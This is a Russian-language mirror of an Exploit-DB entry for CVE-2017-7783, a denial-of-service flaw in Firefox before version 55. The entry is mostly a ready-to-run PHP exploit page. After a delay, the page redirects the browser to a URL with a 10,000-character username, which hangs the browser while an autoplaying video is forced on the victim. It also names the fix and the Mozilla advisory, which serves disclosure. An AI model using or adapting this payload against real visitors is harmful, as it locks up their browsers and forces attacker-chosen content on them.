- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 43020
- Проверка EDB
-
- Пройдено
- Автор
- AMIT SANGRA
- Тип уязвимости
- DOS
- Платформа
- MULTIPLE
- CVE
- cve-2017-7783
- Дата публикации
- 2017-10-20
Mozilla Firefox < 55 - Denial of Service
Код:
# Exploit Title: Mozilla Firefox < 55 - Forcibly make someone view a web content
# Category: Denial of Service
# Date: 5/11/17
# CVE : CVE-2017-7783
# Affected Version: < Mozilla Firefox 55
# Tested on: Windows/Linux
# Software Link: https://www.mozilla.org/en-US/firefox/52.0/releasenotes/
# Exploit Author: Amit Sangra
# Website: http://CyberCriminals.net
# Description:
If a long user name is used in a username/password combination in a site URL (such as http://UserName:[email protected]), the resulting modal prompt will hang in a non-responsive state or crash, causing a denial of service.
# Impact:
An attacker can create a webpage having some content and exploit.
Now once a victim visits this webpage, his browser gets locked out and he is forcibly made to view attacker supplied content.
# Exploit:
<?php
$exploit=str_repeat(chr(0x41),10000);
$location="http://Username".$exploit.":[email protected]";
echo "<center><h1>Firefox Lockout Vulnerability</h1>";
//Content to be forcibly viewed
echo "<iframe width=854 height=480 src=https://www.youtube.com/embed/QH2-TGUlwu4?autoplay=1 frameborder=0 allowfullscreen></iframe></center>";
//End
echo "<script>setTimeout(\"location.href ='".$location."';\",10000);</script>";
?>
# Solution:
Update to version 55
https://www.mozilla.org/en-US/firefox/55.0/releasenotes/
# Mozilla Foundation Security Advisory:
https://www.mozilla.org/en-US/security/advisories/mfsa2017-18/#CVE-2017-7783- Источник
- www.exploit-db.com
